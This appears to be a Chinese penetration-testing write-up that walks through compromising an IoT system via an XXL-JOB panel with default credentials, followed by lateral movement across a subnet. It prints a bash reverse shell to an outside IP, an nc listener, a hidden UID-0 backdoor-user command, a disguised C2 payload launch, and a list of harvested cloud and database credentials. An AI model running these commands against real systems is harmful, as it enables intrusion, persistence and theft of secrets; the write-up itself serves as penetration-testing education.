外网打点
OK!又是经典开局,一个登录框,看样子是某个IOT管理系统
于是先去搜索了几个关键字看看有无Nday,无果,没事不慌,没有Nday就活不了了嘛?
于是直接硬干,试试弱口令,前端逻辑绕过,SQL万能密码……
结果发现泥煤的,还真是活不了
尝试登录时,直接爆系统错误,后端请求验证码的接口压根就异常了,直接不让你登录,就算得到了账号密码也登录不上去,因为验证码这一步的登录逻辑缺失,猜测应该是后台存在什么漏洞,或者前台是弱口令,系统被攻击了,让开发去修漏洞,开发为了省事或者不知道咋修,就直接把验证码禁用了,不让你登录,以前遇到几个若依的系统也是这样……
那我们就没办法了吗?
直接来一套API接口,HTML源码,JS源码审计一条龙测试,好吧还真没办法,仍旧无果
都整不出来咋搞呢……
这时候我一般会去扫目录,扫端口,往往可能会打开新的攻击面,当然这也是老生常谈了
于是经典用ffuf扫一扫,除了302跳转到本网页之外没有任何东西……不急不急,再试试一定有突破口的(想骂人了)
无奈之下,本来都打算快放弃了,临走之前想着再端口扫描下吧?唉!还真扫出了一个9090端口,这不就柳暗花明了嘛
点开一看,wc?这不是XXLJOB吗,这个可以尝试打一下的,有好几个Nday呢
有如下几个Nay,可以RCE的
-
xxl-job api未授权Hessian2反序列化 <=2.0.2 -
XXL-JOB executor未授权访问漏洞 <=2.2.0 -
xxl-job <=2.3.1 存在 SSRF 漏洞
于是我们先看看版本:前台右键搜索源码里的关键字:”admin_version”
很遗憾,版本是2.4.1的高版本,不能直接打这几个RCE的day
但是都到这里了,我们就这么算了吗?肯定不是呀
熟悉的师傅都知道,xxl-job默认密码是admin / 123456 那我们直接尝试一手默认口令,如果真的进了后台也是可以直接RCE的
也是老天眷顾,狗运来了,直接默认口令进去了!
GetShell
那么话不多说直接后台新建任务,可以直接执行系统命令反弹shell:
新增执行任务
运行模式选shell,cron表达式自行决定,例如:0 0 0 ?,每天午夜 0 点 0 分 0 秒(00:00:00)触发任务
保存,来到IDE
可以直接写一个反弹shell的命令
#!/bin/bash
/bin/bash -i >&/dev/tcp/11.111.11.111/12340>&1
vps监听1234端口
nc -lvvp 1234
成功回弹shell
哟西,还是root权限,提权都省了,巴适
权限维持
(当时没考虑太多,就只简单做了一下权限维持)
添加一个后门用户root权限,以免被发现xxl-job权限掉了
useradd -p `openssl passwd -1 -salt 'salt' password` system -o -u 0-g root -G root -s /bin/bash -d /system
用新建的后门用户连接一下ssh,连接时可以挂个代理
连接成功
看看性能配置
wc,还是32G的运存,512G的硬盘
上线C2
权限维持之后呢,上线C2建立节点,便于后渗透操作
使用vshell 建立反向TCP监听
生成linux_amd64载荷
我喜欢重命名为一个看似正常的文件 bak
赋予执行权限
chmod +x bak
后台一直执行
nohup ./bak > nohup.out 2>&1&
耐心等待一下上线,成功上线!
代理
建立C2节点之后呢,穿一个socks5代理出来
本机使用proxifier配置好全局代理规则,就可以直接请求对应的内网地址了
信息收集
上传netspy扫一下网段存活,可以看到有大量网段存活,先记录一下待会拿去fscan扫一扫
再看看有没有docker容器运行
docker ps
docker开了许多服务
其中mysql就是docker启动的,我们可以直接进入到mysql容器里执行mysql命令,从而就直接获取到mysql权限
# 进入容器内的 MySQL Shell
docker exec -it mysql_container_name mysql -uroot -p
不过如果觉得这样不够直观我们还可以去翻找mysql数据库配置文件,既然是docker启动的mysql,那么数据库密码在docker-compose.yml配置文件里
成功找到用户名mysql,密码Zxxxxxxx
直接拿去密码复用一下,用mysql的密码,登录root账号
数据库
也是成功登录root,mysql root权限+1
一共有16个数据库,其中还有nacos
上传免杀fscan,直接扫一波C段,都是存活的
东西还不少
获取权限
Nacos权限
nacos未授权访问,查看用户,看来已经有前人的足迹了
未授权直接创建一个用户 nacos3,进去翻垃圾吃
10条配置信息
mysql权限
发现mysql数据库用户名和密码,mysql数据库root权限+1
redis权限
redis权限+1
es权限
es权限+1
ftp权限
ftp+1
三方短信权限
第三方短信平台权限+1
tdengine权限
tdengine权限
kafka权限
kafka权限+1
百度谷歌地图权限
百度地图AK+1,谷歌Key+1
IOT设备权限
API密钥AK/SK,IOT设备权限+1
OSS权限
OSS AK/SK权限+1
OSS AK/SK权限+1
OSS AK/SK权限+1
阿里云短信权限
阿里云短信平台 AK/SK
RocketMQ权限
RocketMQ未授权+1
KafkaServer权限
KafkaServer权限
zk权限
zk权限
Memcached权限
Memcached未授权
使用本地搭建的MemAdmin读取数据,是一些邮箱和服务器地址而已
横向移动
让我有点小激动的是,fscan的扫描结果显示,整个C段下居然几乎每个主机都部署了XXL-JOB系统,而且经过我的尝试,都是清一色的弱口令!admin / 123456。真的是纯狗运【双手合十】【双手合十】【双手合十】
(每个主机都部署了XXL-JOB的fscan扫描截图忘记截图了)
简单列举几个
-
61主机
-
31主机
-
209主机
反弹shell,都是root权限
凭借运气+fscan,脚本小子获取到了几乎整个C段主机的权限,当然还有大量的各种web系统的Nday没有去看了,太多了
其实是因为代理不稳定,或者是网络问题。代理特别的慢,导致内网遨游很不顺畅(这也是我为什么要上传工具到受害主机上去,而不在本地通过代理去扫描的原因),特别难受,半天加载不出来,于是就没有继续利用了……
小结
到此,全篇结束。本篇没有什么很高级的红队技巧,全凭狗运,因为笔者红队技术菜,行文以及渗透时有许多地方考虑不周,欢迎各位大佬在评论区留言指教,晚辈感激不尽。但是当成一个新手师傅入门的渗透案例看看我觉得还行,于是就发了出来,下次再见师傅们!
原文始发于微信公众号(蚁景网络安全):从登录封锁到打穿内网沦陷整个C段
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论